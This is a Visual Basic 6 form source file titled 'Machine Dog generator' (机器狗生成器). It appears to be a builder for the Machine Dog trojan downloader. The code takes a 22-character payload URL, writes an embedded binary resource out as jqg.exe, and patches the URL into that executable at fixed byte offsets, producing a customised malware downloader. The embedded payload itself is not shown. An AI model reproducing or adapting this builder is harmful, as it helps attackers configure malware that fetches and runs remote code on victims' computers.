www.pudn.com > vb.rar > Form1.frm

VERSION 5.00 
Begin VB.Form Form1  
   BorderStyle     =   3  'Fixed Dialog 
   Caption         =   "机器狗生成器" 
   ClientHeight    =   2235 
   ClientLeft      =   45 
   ClientTop       =   435 
   ClientWidth     =   4350 
   Icon            =   "Form1.frx":0000 
   LinkTopic       =   "Form1" 
   MaxButton       =   0   'False 
   MinButton       =   0   'False 
   ScaleHeight     =   2235 
   ScaleWidth      =   4350 
   ShowInTaskbar   =   0   'False 
   StartUpPosition =   2  '屏幕中心 
   Begin VB.Frame Frame1  
      Caption         =   "请填写下列信息:" 
      Height          =   1455 
      Left            =   45 
      TabIndex        =   0 
      Top             =   135 
      Width           =   4245 
      Begin VB.PictureBox Picture1  
         Appearance      =   0  'Flat 
         BackColor       =   &H80000005& 
         BorderStyle     =   0  'None 
         ForeColor       =   &H80000008& 
         Height          =   555 
         Left            =   90 
         Picture         =   "Form1.frx":0BC2 
         ScaleHeight     =   555 
         ScaleWidth      =   600 
         TabIndex        =   7 
         Top             =   810 
         Width           =   600 
      End 
      Begin VB.CommandButton Command2  
         Caption         =   "退出" 
         Height          =   330 
         Left            =   2295 
         TabIndex        =   4 
         Top             =   1035 
         Width           =   960 
      End 
      Begin VB.CommandButton Command1  
         Caption         =   "生成" 
         Enabled         =   0   'False 
         Height          =   330 
         Left            =   1080 
         TabIndex        =   3 
         Top             =   1035 
         Width           =   915 
      End 
      Begin VB.TextBox Text1  
         Height          =   375 
         Left            =   765 
         TabIndex        =   1 
         Text            =   "xxx.xxx.com/xxxxxx.cer" 
         Top             =   270 
         Width           =   3150 
      End 
      Begin VB.Label Label4  
         Caption         =   "注意:长度请保持在22位之间!" 
         Height          =   195 
         Left            =   765 
         TabIndex        =   8 
         Top             =   720 
         Width           =   3210 
      End 
      Begin VB.Label Label1  
         Caption         =   "网址:" 
         Height          =   255 
         Left            =   90 
         TabIndex        =   2 
         Top             =   375 
         Width           =   735 
      End 
   End 
   Begin VB.Label Label3  
      BackStyle       =   0  'Transparent 
      Caption         =   "http://www.langke.org      孤狼赏月  QQ:1536971" 
      Height          =   330 
      Left            =   45 
      TabIndex        =   6 
      Top             =   1980 
      Width           =   4290 
   End 
   Begin VB.Label Label2  
      Caption         =   "http://bbs.secdst.net " 
      Height          =   330 
      Left            =   45 
      TabIndex        =   5 
      Top             =   1710 
      Width           =   3480 
   End 
End 
Attribute VB_Name = "Form1" 
Attribute VB_GlobalNameSpace = False 
Attribute VB_Creatable = False 
Attribute VB_PredeclaredId = True 
Attribute VB_Exposed = False 
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long 
Dim bFile() As Byte 
Dim app1 As Byte 
 
 
Private Sub Command1_Click() 
 
 
MsgBox Len(Text1.Text) 
Dim ii(10) As Long 
Dim str(10)  As String 
 
str1 = Mid(Text1.Text, 1, 4) 
str2 = Mid(Text1.Text, 5, 4) 
str3 = Mid(Text1.Text, 9, 4) 
str4 = Mid(Text1.Text, 13, 4) 
str5 = Mid(Text1.Text, 17, 4) 
str6 = Mid(Text1.Text, 21, 2) 
 
 
 
ii1 = &H182A  '4 
ii2 = &H1831  '4 
ii3 = &H1838  '4 
 
ii4 = &H183F  '4 
ii5 = &H1846  '4 
ii6 = &H184D  '2 
 
 
  bFile = LoadResData(101, "CUSTOM") 
  Open Path & "jqg.exe" For Binary Access Write As #1 
  For lFile = 0 To UBound(bFile) 
  Put #1, , bFile(lFile) 
  Next lFile 
   
  Put #1, ii1, str1 
  Put #1, ii2, str2 
  Put #1, ii3, str3 
  Put #1, ii4, str4 
  Put #1, ii5, str5 
  Put #1, ii6, str6 
  Close #1 
 
MsgBox "生成成功!" 
End Sub 
 
Private Sub Command2_Click() 
End 
End Sub 
 
Private Sub Form_Load() 
If Len(Text1.Text) = 22 Then 
Command1.Enabled = True 
Else 
Command1.Enabled = False 
End If 
End Sub 
 
Private Sub Label2_Click() 
OpenUrl "http://bbs.secdst.net" 
End Sub 
 
Private Sub Label3_Click() 
OpenUrl "http://www.langke.org" 
End Sub 
Private Sub OpenUrl(tUrl As String) 
ShellExecute Me.hwnd, "Open", tUrl, 0, 0, 0 
End Sub 
 
Private Sub Text1_Change() 
If Len(Text1.Text) = 22 Then 
Command1.Enabled = True 
Else 
Command1.Enabled = False 
End If 
 
End Sub